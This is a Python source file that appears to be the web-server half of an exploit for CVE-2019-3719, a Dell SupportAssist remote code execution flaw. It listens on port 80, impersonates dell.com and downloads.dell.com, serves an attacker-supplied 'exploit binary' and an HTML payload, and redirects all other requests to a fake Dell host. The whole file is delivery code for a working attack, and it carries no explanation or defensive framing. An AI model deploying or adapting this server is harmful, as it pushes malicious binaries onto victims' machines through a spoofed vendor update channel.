from aiohttp import web
import asyncio
import string
import random
from threading import Thread
filename = ""
PAYLOAD = '''
CVE-2019-3719
'''
def id_generator(size=6, chars=string.ascii_uppercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
def handle(request):
global filename
global PAYLOAD
if request.headers["Host"] is not None:
if "downloads.dell.com" in request.headers["Host"]:
print("[+] Exploit binary requested.")
return web.FileResponse(filename)
elif "dell.com" in request.headers["Host"]:
print("[+] Exploit payload requested.")
return web.Response(text=PAYLOAD, headers={'Content-Type': 'text/html'})
redirect_url = "http://dellrce.dell.com"
return web.HTTPFound(redirect_url)
class WebServer:
def __init__(self, payload_filename):
global filename
filename = payload_filename
self.loop = asyncio.get_event_loop()
app = web.Application(debug=True)
app.add_routes([web.get('/{a:.*}', handle)])
handler = app.make_handler()
self.server = self.loop.create_server(handler, host='0.0.0.0', port=80)
self.server_thread = Thread(target=self.server_handler, args=(self,))
self.server_thread.start()
print("[+] Webserver started.")
def server_handler(self, arg):
self.loop.run_until_complete(self.server)
self.loop.run_forever()